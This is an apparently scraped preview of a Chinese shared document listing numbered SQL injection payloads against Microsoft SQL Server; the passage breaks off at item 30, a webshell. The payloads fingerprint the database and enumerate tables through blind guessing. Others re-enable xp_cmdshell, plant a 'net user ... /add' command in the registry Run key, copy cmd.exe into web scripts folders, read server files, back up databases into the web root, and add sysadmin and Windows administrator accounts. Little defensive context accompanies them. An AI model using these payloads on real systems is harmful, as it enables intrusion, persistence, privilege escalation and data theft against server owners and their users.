SQL注入语句示例大全.docx
《SQL注入语句示例大全.docx》由会员分享,可在线阅读,更多相关《SQL注入语句示例大全.docx(5页珍藏版)》请在淘文阁 - 分享文档赚钱的网站上搜索。
1、SQL注入语句示例大全1、返回的是连接的数据库名and db_name()02、作用是获取连接用户名and user03、将数据库备份到Web目录下面;backup database 数据库名 to disk=c:inetpubwwwroot1.db;4、显示SQL系统版本and 1=(select VERSION) 或and 1=convert(int,version)5、判断xp_cmdshell扩展存储过程是否存在and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name =xp_cmdshell)
2、6、恢复xp_cmdshell扩展存储的命令;exec master.dbo.sp_addextendedproc xp_cmdshell,e:inetputwebxplog70.dll;7、向启动组中写入命令行和执行程序;EXEC master.dbo.xp_regwrite HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftWindowsCurrentVersionRun,help1,REG_SZ,cmd.exe /c net user test ptlove /add8、查看当前的数据库名称and 0 db_name(n) n改成0,1,2,3就可以跨库了 或and
3、 1=convert(int,db_name()9、不需xp_cmdshell支持在有注入漏洞的SQL服务器上运行CMD命令(同第76)10、则把得到的数据内容全部备份到WEB目录下;backup database 数据库名 to disk=c:inetpubwwwrootsave.db11、通过复制CMD创建UNICODE漏洞;exec master.dbo.xp_cmdshell “copy c:winntsystem32cmd.exe c:inetpubscriptscmd.exe”12、遍历系统的目录结构,分析结果并发现WEB虚拟目录先创建一个临时表:temp ;create tabl
4、e temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255);(1)利用xp_availablemedia来获得当前所有驱动器,并存入temp表中 ;insert temp exec master.dbo.xp_availablemedia;通过查询temp的内容来获得驱动器列表及相关信息(2)利用xp_subdirs获得子目录列表,并存入temp表中 ;insert into temp(id) exec master.dbo.xp_subdirs c:;(3)还可以利用xp_dirtree获得
5、所有子目录的目录树结构,并寸入temp表中 ;insert into temp(id,num1) exec master.dbo.xp_dirtree c:; (实验成功)13、查看某个文件的内容,可以通过执行xp_cmdsell;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;14、将一个文本文件插入到一个临时表中;bulk insert temp(id) from c:inetpubwwwrootindex.asp15、每完成一项浏览后,应删除TEMP中的所有内容,删除方法是:;delete from
6、 temp;16、浏览TEMP表的方法是:and (select top 1 id from TestDB.dbo.temp)0 假设TestDB是当前连接的数据库名17、猜解所有数据库名称and (select count(*) from master.dbo.sysdatabases where name1 and dbid=6) 0 dbid=6,7,8分别得到其它库名18、猜解数据库中用户名表的名称and (select count(*) from TestDB.dbo.表名)0 若表名存在,则abc.asp工作正常,否则异常。如此循环,直到猜到系统帐号表的名称。19、判断是否是sys
7、admin权限and 1=(SELECT IS_SRVROLEMEMBER(sysadmin)20、判断是否是SA用户sa=(SELECT System_user)21、查看数据库角色;use model22、查看库名and 0(select count(*) from master.dbo.sysdatabases where name1 and dbid=6)23、获得第一个用户建立表的名称and (select top 1 name from TestDB.dbo.sysobjects where xtype=U and status0 )0 假设要获得数据库是TestDB.dbo24、
8、获得第二个用户建立的表的名称and (select top 1 name from TestDB.dbo.sysobjects where xtype=U and status0 and name not in(xyz)025、获得第三个用户建立的表的名称and (select top 1 name from TestDB.dbo.sysobjects where xtype=U and status0 and name not in(xyz,”)0 ”中为第二个用户名26、获得第四个用户建立的表的名称and (select top 1 name from TestDB.dbo.sysobje
9、cts where xtype=U and status0 and name not in(xyz,”,”)0 ”,”中为第二,三个用户名27、获得表中记录的条数and (select count(*) from 表名)5 记录条数小于5 或 10 记录条数小于10 等等28、测试权限结构(mssql)and 1=(SELECT IS_SRVROLEMEMBER(sysadmin);and 1=(SELECT IS_SRVROLEMEMBER(serveradmin);and 1=(SELECT IS_SRVROLEMEMBER(setupadmin);and 1=(SELECT IS_SRV
10、ROLEMEMBER(securityadmin);and 1=(SELECT IS_SRVROLEMEMBER(diskadmin);and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin);and 1=(SELECT IS_MEMBER(db_owner);29、 添加mssql和系统的帐户;exec master.dbo.sp_addlogin username;exec master.dbo.sp_password null,username,password;exec master.dbo.sp_addsrvrolemember sysadmin usern
11、ame;exec master.dbo.xp_cmdshell net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add;exec master.dbo.xp_cmdshell net user username password /add;exec master.dbo.xp_cmdshell net localgroup administrators username /add;30、 简洁的webshelluse modelcreate
- 配套讲稿:
如PPT文件的首页显示word图标,表示该PPT已包含配套word讲稿。双击word图标可打开word文档。
- 特殊限制:
部分文档作品中含有的国旗、国徽等图片,仅作为作品整体效果示例展示,禁止商用。设计者仅对作品中独创性部分享有著作权。
- 关 键 词:
- SQL 注入 语句 示例 大全
限制150内